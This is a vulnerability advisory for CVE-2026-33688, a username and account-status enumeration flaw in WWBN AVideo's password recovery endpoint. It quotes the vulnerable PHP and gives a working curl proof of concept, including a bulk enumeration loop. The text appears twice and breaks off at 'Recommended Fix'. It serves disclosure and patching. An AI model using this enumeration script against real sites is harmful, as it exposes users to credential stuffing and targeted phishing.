CVE-2026-33688

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.

Summary

The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.

Details

In objects/userRecoverPass.php, the request flow is:

1. Line 11 — A User object is instantiated from unsanitized $_REQUEST['user'] with no authentication:

$user = new User(0, $_REQUEST['user'], false);

2. Lines 27-29 — If the user does not exist, a distinct error is returned immediately:

if (empty($user->getStatus())) {
    $obj->error = __("User not found");
    die(json_encode($obj));
}

3. Lines 31-33 — If the user exists but is not active, a different distinct error is returned:

if ($user->getStatus() !== 'a') {
    $obj->error = __("The user is not active");
    die(json_encode($obj));
}

4. Lines 37-41 — Captcha validation only occurs after both user enumeration checks:

if (empty($_REQUEST['captcha'])) {
    $obj->error = __("Captcha is empty");
} else {
    require_once 'captcha.php';
    $valid = Captcha::validation($_REQUEST['captcha']);

This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.

By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.

No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).

PoC

# 1. Test a non-existent user — returns "User not found" without captcha
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=nonexistent_user_xyz&captcha=' | jq .error
# Response: "User not found"

# 2. Test a valid active user — passes user checks, hits captcha validation
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=admin&captcha=' | jq .error
# Response: "Captcha is empty"

# 3. Test an inactive/banned user (if one exists) — returns distinct status message
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=banned_user&captcha=' | jq .error
# Response: "The user is not active"

# 4. Bulk enumeration script — no captcha solving required
for user in admin root test user1 user2 moderator editor; do
  result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
    -d "user=${user}&captcha=")
  error=$(echo "$result" | jq -r .error)
  if [ "$error" = "Captcha is empty" ]; then
    echo "[ACTIVE] $user"
  elif [ "$error" = "The user is not active" ]; then
    echo "[INACTIVE] $user"
  else
    echo "[NOT FOUND] $user"
  fi
done

Impact

• Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.
• Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.
• Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.
• Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users.
• No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.

Recommended Fix

Move the captcha validation before the…

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.

Summary

The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.

Details

In objects/userRecoverPass.php, the request flow is:

1. Line 11 — A User object is instantiated from unsanitized $_REQUEST['user'] with no authentication:

$user = new User(0, $_REQUEST['user'], false);

2. Lines 27-29 — If the user does not exist, a distinct error is returned immediately:

if (empty($user->getStatus())) {
    $obj->error = __("User not found");
    die(json_encode($obj));
}

3. Lines 31-33 — If the user exists but is not active, a different distinct error is returned:

if ($user->getStatus() !== 'a') {
    $obj->error = __("The user is not active");
    die(json_encode($obj));
}

4. Lines 37-41 — Captcha validation only occurs after both user enumeration checks:

if (empty($_REQUEST['captcha'])) {
    $obj->error = __("Captcha is empty");
} else {
    require_once 'captcha.php';
    $valid = Captcha::validation($_REQUEST['captcha']);

This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.

By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.

No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).

PoC

# 1. Test a non-existent user — returns "User not found" without captcha
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=nonexistent_user_xyz&captcha=' | jq .error
# Response: "User not found"

# 2. Test a valid active user — passes user checks, hits captcha validation
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=admin&captcha=' | jq .error
# Response: "Captcha is empty"

# 3. Test an inactive/banned user (if one exists) — returns distinct status message
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=banned_user&captcha=' | jq .error
# Response: "The user is not active"

# 4. Bulk enumeration script — no captcha solving required
for user in admin root test user1 user2 moderator editor; do
  result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
    -d "user=${user}&captcha=")
  error=$(echo "$result" | jq -r .error)
  if [ "$error" = "Captcha is empty" ]; then
    echo "[ACTIVE] $user"
  elif [ "$error" = "The user is not active" ]; then
    echo "[INACTIVE] $user"
  else
    echo "[NOT FOUND] $user"
  fi
done

Impact

• Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.
• Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.
• Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.
• Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users.
• No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.

Recommended Fix

Move the captcha validation before the…